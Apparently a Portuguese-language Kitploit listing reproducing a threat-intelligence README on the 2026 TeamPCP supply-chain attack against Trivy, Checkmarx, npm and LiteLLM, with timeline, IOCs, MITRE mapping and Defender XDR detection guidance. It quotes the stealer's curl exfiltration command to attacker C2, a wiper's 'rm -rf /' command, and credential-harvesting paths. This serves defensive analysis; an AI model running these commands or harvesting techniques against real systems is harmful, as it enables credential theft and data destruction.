Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — O ataque à cadeia de suprimentos de CI/CD mais impactante de 2026 até agora. | Kitploit
Ferramentas/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
Segurança de ContêineresAnálise de MalwareSegurança na NuvemInteligência de AmeaçasSegurança da Cadeia de SuprimentosAprendizado e EducaçãoResposta a IncidentesRecursos Curados

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — O ataque à cadeia de suprimentos de CI/CD mais impactante de 2026 até agora.

Ver Repositório
113há 23 diasAinda não revisado

Ataque à Cadeia de Suprimentos TeamPCP: Guia de Análise Técnica e Detecção

CVE-2026-33634 (CVSS 9.4) — O ataque à cadeia de suprimentos de CI/CD mais impactante de 2026 até agora.

Entre 19 e 25 de março de 2026, o ator de ameaças TeamPCP (também rastreado como DeadCatx3, PCPcat, ShellForce, CanisterWorm) executou um comprometimento em cascata da cadeia de suprimentos em cinco ecossistemas: GitHub Actions, Docker Hub, OpenVSX, npm e PyPI. Partindo de um único PAT do GitHub com rotação incompleta, a campanha se espalhou por dois grandes fornecedores de segurança de código aberto (Aqua Security e Checkmarx), quatro repositórios de GitHub Actions, duas extensões do VS Code, registros de contêineres e mais de 66 pacotes npm.

Este repositório fornece uma análise técnica completa, listas de IOC curadas (testadas contra falsos positivos) e consultas de detecção prontas para implantação no Microsoft Defender XDR.


Sumário

  • Linha do Tempo do Ataque
  • Detalhamento da Kill Chain
  • Artefatos Comprometidos
  • Mecânica do Stealer de Credenciais
  • CanisterWorm — Propagação via npm
  • Componente Wiper Direcionado ao Irã
  • Detecção e Hunting
  • Lista de IOCs
  • Notas de Filtragem de Falsos Positivos
  • Mapeamento MITRE ATT&CK
  • Referências

Linha do Tempo do Ataque


Detalhamento da Kill Chain

Fase 1 — Acesso Inicial

Causa raiz: rotação incompleta de credenciais após a violação de 28 de fevereiro. O PAT da conta de serviço aqua-bot não foi revogado ou o atacante observou o novo token durante a rotação.

O TeamPCP usou esse acesso retido para fazer force-push de tags de versão apontando para commits impostores maliciosos. Cada commit forjado clonava os metadados do original (autor, timestamp, mensagem) enquanto substituía o script de ponto de entrada pelo payload do stealer. A página de release do GitHub não mostrava nenhuma mudança visível — até o selo "Immutable" era exibido normalmente.

Fase 2 — Execução do Payload

O stealer — um entrypoint.sh de 204 linhas autoidentificado como "TeamPCP Cloud stealer" — executa um ataque em três estágios:

Estágio 1: Raspagem de Memória

root@kitploit:~
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Estágio 2: Varredura de Credenciais no Sistema de Arquivos

Examina mais de 50 caminhos sensíveis, incluindo:

  • Chaves SSH (~/.ssh/*)
  • Credenciais AWS/GCP/Azure
  • Tokens e configurações do Kubernetes
  • Credenciais de registro Docker
  • Arquivos de estado do Terraform
  • Carteiras de criptomoedas (Solana, Bitcoin, Ethereum, Cardano)
  • Tokens npm (~/.npmrc)
  • Históricos de shell
  • Arquivos .env

Estágio 3: Exfiltração Criptografada

  • Empacota todos os dados coletados em tpcp.tar.gz
  • Criptografa com AES-256-CBC (chave de sessão aleatória) + RSA-4096/RSA-OAEP (chave pública do atacante)
  • Exfiltra via curl POST para domínios typosquat específicos do fornecedor
  • Fallback: cria repositório tpcp-docs ou docs-tpcp na conta GitHub da vítima usando o GITHUB_TOKEN roubado

Fase 3 — Persistência

Em sistemas Linux fora de CI, o malware:

  1. Cria o diretório oculto ~/.config/sysmon/
  2. Instala um backdoor em Python (sysmon.py)
  3. Instala um serviço de usuário do systemd que consulta o C2 a cada 50 minutos
  4. Kill switch: se a resposta do C2 contiver "youtube", o backdoor pula a execução

Fase 4 — Movimentação Lateral (Onda Checkmarx)

As credenciais roubadas na onda Trivy viabilizaram o comprometimento do ecossistema da Checkmarx. Cada nova onda usou um domínio typosquat diferente de C2 para evadir as blocklists da onda anterior:

OndaDomínio C2Typosquat de
Trivyscan.aquasecurtiy[.]orgaquasecurity.org

Artefatos Comprometidos

GitHub Actions

Extensões OpenVSX (VS Code Marketplace NÃO afetado)

ExtensãoVersão MaliciosaVersão Segura
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

Ambas as extensões foram publicadas com 12 segundos de diferença às 12:53 UTC de 23 de março por meio da conta ast-phoenix. Na ativação, environmentAuthChecker.js verifica credenciais de provedores de nuvem e então baixa um stealer de segundo estágio de checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Imagens de Contêiner

ImagemTags Maliciosas
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

PacoteVersõesArquivo com Backdoor
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

Payload base64 triplamente aninhado com kit de movimentação lateral para K8s. Persistência via sysmon.service consultando checkmarx.zone/raw.


Mecânica do Stealer de Credenciais

O padrão de exfiltração é idêntico em todas as ondas:

root@kitploit:~
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

A estratégia de domínio typosquat é deliberada: um analista revisando logs de CI/CD vê tráfego curl para o que parece ser o domínio do próprio fornecedor da action. Sem uma comparação cuidadosa, scan.aquasecurtiy.org passa por aquasecurity.org em uma revisão rápida de logs.

Somente o atacante pode descriptografar os dados roubados — a chave de sessão AES é criptografada com RSA-OAEP usando a chave pública dele.


CanisterWorm — Propagação via npm

Dentro de 24 horas após o comprometimento do Trivy, tokens npm roubados viabilizaram um worm autopropagável por mais de 66 pacotes (141 artefatos maliciosos).

O que torna o CanisterWorm notável:

  • Primeiro malware npm documentado a usar um canister de blockchain ICP (Internet Computer Protocol) como C2
  • O canister em tdtqy-oyaaa-aaaae-af2dq-cai é um contrato inteligente descentralizado — sem um único ponto de derrubada
  • Expõe 3 métodos: get_latest_link, http_request, update_link
  • O atacante pode rotacionar payloads em todas as máquinas infectadas sem republicar nenhum pacote npm
  • Kill switch: se o canister retornar uma URL contendo youtube.com, o backdoor dorme
  • Persistência: serviço de usuário do systemd disfarçado de pgmon (monitoramento do PostgreSQL)
  • Intervalo de polling: a cada 50 minutos
  • Binário gravado em /tmp/pglog, estado rastreado em /tmp/.pg_state

Escopos comprometidos conhecidos: @emilgroup/*, @teale.io/* (variante autopropagável em @teale.io/eslint-config v1.8.11, v1.8.12)


Componente Wiper Direcionado ao Irã

Uma variante destrutiva tem como alvo específico sistemas iranianos:

  1. Kubernetes + Irã: implanta DaemonSets privilegiados em todos os nós (incluindo o control plane), apaga e força a reinicialização por meio de um contêiner chamado kamikaze
  2. Kubernetes + não-Irã: instala o backdoor CanisterWorm como serviço do systemd
  3. Sem K8s + Irã: executa rm -rf / --no-preserve-root com sudo
  4. Sem K8s + não-Irã: nenhuma ação

A detecção é feita por meio de verificações de fuso horário e locale do sistema.


Detecção e Hunting

Microsoft Defender XDR — Regra de Detecção Personalizada

Nome da regra: TeamPCP Supply Chain C2 and Malware IOC Match
Severidade: Alta
Categoria: CommandAndControl
Frequência: A cada 1 hora

Consulte detection/defender_xdr_query.kql para ver a consulta KQL completa.

A consulta cobre:

  • 7 hashes SHA256 de arquivos (variantes do stealer e do CanisterWorm)
  • 2 endereços IP de C2
  • 4 domínios de C2 (typosquats + canister ICP)
  • 4 URLs específicas de C2
  • Verificações de resolução de DNS

Importação de Indicadores TI do Defender

Um CSV pronto para importação é fornecido em iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Este arquivo foi testado contra falsos positivos em um ambiente corporativo de produção.

Outras Plataformas

PlataformaDetecção
Palo Alto Cortex XDRRegra ioc.linux.shaihulud.2 — acesso a credenciais em runners de GitHub Action
Sysdig/FalcoContact EC2 Instance Metadata Service From Container, ,

Lista de IOCs

Hashes de Arquivos (SHA256)

IOCs de Rede

Caminhos de URL de C2

URLFunção
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgzDownload de payload de segundo estágio

Artefatos de Persistência

Repositórios de Exfiltração no GitHub (Fallback)

NomeOnda
tpcp-docsTrivy
docs-tpcpCheckmarx

Notas de Filtragem de Falsos Positivos

As consultas de detecção e o CSV de IOCs neste repositório foram testados em um ambiente de produção que executa:

  • Ansible AWX/Tower com as coleções community.general e kubernetes.core
  • Claude Code e GitHub Copilot em estações de trabalho de desenvolvimento macOS
  • Agente FortiMonitor (polling de IMDS)
  • Oracle AHF em instâncias OCI (polling de IMDS)
  • Diversos toolchains de desenvolvimento Python/Node.js

Os seguintes IOCs foram removidos devido a falsos positivos confirmados:


Mapeamento MITRE ATT&CK


Referências


Licença

MIT — Use, compartilhe e adapte livremente. Atribuição é apreciada.


Autor: Ugur Can Ates — Líder de Equipe de SOC e Engenheiro Sênior de Segurança
Última Atualização: 25 de março de 2026

Baixar ferramenta
Data (UTC)Evento
20 fev 2026Conta hackerbot-claw criada; inicia varredura em repositórios em busca de workflows pull_request_target exploráveis
28 fev 2026Primeiro comprometimento do Trivy via solicitação PWN; credenciais exfiltradas
1 mar 2026Aqua Security tenta contenção — rotação de credenciais incompleta
19 mar, 17:43Ataque principal: TeamPCP faz force-push de 75/76 tags em aquasecurity/trivy-action e de todas as 7 tags em setup-trivy por meio da conta de serviço comprometida aqua-bot
19 mar, 18:22Trivy v0.69.4 com backdoor publicado no GitHub Releases, Docker Hub, GHCR, ECR
20 mar, 05:40Janela de comprometimento do Trivy-action encerrada (~12 horas)
20 mar, 20:45CanisterWorm detectado se espalhando pelo npm — mais de 47 pacotes comprometidos
22 mar, 20:31TeamPCP desfigura todos os 44 repositórios na org aquasec-com do GitHub em uma rajada automatizada de 2 minutos
22 marImagens 0.69.5 e 0.69.6 enviadas ao Docker Hub com o mesmo payload do stealer
23 mar, 02:53Começa a onda Checkmarx: ast-results v2.53.0 e cx-dev-assist v1.7.0 maliciosos publicados no OpenVSX por meio da conta ast-phoenix
23 mar, 12:58Todas as 35 tags de Checkmarx/kics-github-action com force-push por meio da conta comprometida cx-plugins-releases
23 mar, 15:41Checkmarx informa que o problema no OpenVSX foi resolvido
23 mar, 16:50GitHub Action do KICS removida após relato de usuário
23 mar, 22:25Sysdig informa que Checkmarx/ast-github-action v2.3.28 também foi comprometido
24 mar, 08:30Onda LiteLLM: litellm v1.82.7 e v1.82.8 trojanizados publicados no PyPI usando credenciais roubadas
24 mar, 11:25PyPI coloca em quarentena as versões maliciosas do LiteLLM
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai
RepositórioTags ComprometidasJanela de Exposição (UTC)Ponto de Entrada
aquasecurity/trivy-action75 de 76 (segura: 0.35.0)19 mar 17:43 – 20 mar 05:40entrypoint.sh
aquasecurity/setup-trivyTodas as 7 tags19 mar 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionTodas as 35 tags23 mar 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (provavelmente todas)23 mar ~22:25+setup.sh
Curl Exfiltrating File
Exfiltration of AWS IMDS Credentials Using LOTL Binary
HashDescriçãoFonte
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aentrypoint.sh malicioso do TrivyPhoenix Security
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926CanisterWorm Onda 4 — forma finalAikido Security
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3aCanisterWorm Onda 3 — teste autopropagávelAikido Security
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4baCanisterWorm Onda 2 — backdoor ICP armadoAikido Security
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152CanisterWorm Onda 1 — deploy.jsAikido Security
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7CanisterWorm Onda 2 — deploy.jsAikido Security
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956CanisterWorm Onda 3+ — deploy.js minificadoAikido Security
IndicadorTipoFinalidade
83.142.209.11IPServidor C2 (checkmarx.zone)
45.148.10.212IPServidor C2 (scan.aquasecurtiy.org)
checkmarx[.]zoneDomínioC2 — onda Checkmarx/KICS/LiteLLM
scan.aquasecurtiy[.]orgDomínioC2 — onda Trivy
models.litellm[.]cloudDomínioC2 — onda LiteLLM no PyPI
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]ioDomínioC2 dead-drop via canister ICP
checkmarx[.]zone/vsx
Endpoint de exfiltração
checkmarx[.]zone/rawPolling de persistência (50 min)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/C2 via canister ICP
CaminhoFinalidade
~/.config/sysmon/Diretório do backdoor
~/.config/sysmon.pyBackdoor em Python
~/.config/systemd/user/sysmon.servicePersistência via systemd
~/.config/systemd/user/pgmon.servicePersistência do CanisterWorm (disfarce de PostgreSQL)
/tmp/pglogBinário baixado
/tmp/.pg_stateEstado do polling de C2
IOCFonte do FP
setup.sh (nome de arquivo)Coleções Ansible, cache de plugins do Claude Code, scripts Bitnami
service.py (nome de arquivo)module_utils do Ansible, protobuf, boto3, FreeIPA, núcleo do K8s
deploy.js (nome de arquivo)Arquivo padrão npm/node
169.254.169.254 (IP de IMDS)Agente FortiMonitor, Oracle AHF — monitoramento legítimo
icp0.io (domínio pai)Amplo demais, captura tráfego ICP legítimo
hooks.slack.com (linha de comando)Integrações legítimas do Slack
discord.com/api/webhooks (linha de comando)Integrações legítimas do Discord
TécnicaIDContexto
Comprometimento da Cadeia de Suprimentos: Dependências de SoftwareT1195.002Envenenamento de tags em GitHub Actions, OpenVSX, npm, PyPI
Credenciais Não Protegidas: API de Metadados de Instância em NuvemT1552.005Roubo de IMDS da AWS em runners de CI
Credenciais de Cofres de SenhasT1555Varredura de credenciais no sistema de arquivos (mais de 50 caminhos)
Extração de Credenciais do SOT1003Raspagem de /proc/mem do Runner.Worker
Exfiltração por Canal C2T1041tpcp.tar.gz criptografado para domínios typosquat
Serviço WebT1102C2 dead-drop via canister ICP
Serviço SystemdT1543.002Persistência via pgmon.service, sysmon.service
Transferência de Ferramenta de EntradaT1105Download de checkmarx-util-1.0.4.tgz
Aquisição de Infraestrutura: DomíniosT1583.001Domínios typosquat por onda
FonteLink
Wiz — Comprometimento do KICShttps://www.wiz.io/blog/teampcp-attack-kics-github-action
Wiz — Comprometimento do Trivyhttps://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Sysdig TRT — Expansão da Checkmarxhttps://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Checkmarx Oficialhttps://checkmarx.com/blog/checkmarx-security-update/
Phoenix Security — Linha do Tempo Completahttps://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/
Aikido Security — CanisterWormhttps://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
Endor Labs — LiteLLMhttps://www.endorlabs.com/learn/teampcp-isnt-done
Mend — CanisterWormhttps://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/
Socket — Comprometimento do npmhttps://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages
StepSecurity — Análise do Trivyhttps://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
JFrog — Análise Estendidahttps://research.jfrog.com/post/canister-worm/
Rami McCarthy — Linha do Tempo de IOCshttps://ramimac.me/trivy-teampcp/